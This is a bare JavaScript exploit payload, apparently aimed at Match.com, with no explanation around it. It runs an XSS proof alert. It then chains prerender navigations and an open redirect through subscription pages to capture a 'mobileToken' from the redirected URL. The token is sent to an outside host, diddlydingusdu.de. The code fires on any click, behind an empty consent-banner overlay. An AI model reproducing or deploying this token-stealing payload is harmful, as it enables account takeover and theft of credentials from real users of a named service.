if(location.search === '?a=1') alert(document.domain); const doHacks = async ()=>{ console.log('hacked!'); await topLevelNav('https://www.match.com/subscribe/addons/purchaseaddon'); await topLevelNav('https://secure.match.com/subscribe/offers/superlikes?cancelUrl=http://perfect.match.com/scripts/events/reflow.js'); console.log('state set'); const target = window.open('https://secure.match.com/subscribe/redirect/toCancelUrl','redirect') await sleep(1000); console.log(target.location.href); const token = (new URL(target.location.href)).searchParams.get('mobileToken'); fetch('http://diddlydingusdu.de/receive/token?token=' + token); } const sleep = time=>new Promise((resolve,reject)=>setTimeout(resolve,time)); const topLevelNav = url=>{ return new Promise((resolve, reject)=>{ const newLink = document.createElement('link'); newLink.rel = 'prerender'; newLink.href = url; document.head.appendChild(newLink); setTimeout(resolve,1000); }); } const onetrustStyles = `` const onetrustHtml = ``; window.addEventListener('click',doHacks); document.body.innerHTML=onetrustStyles+onetrustHtml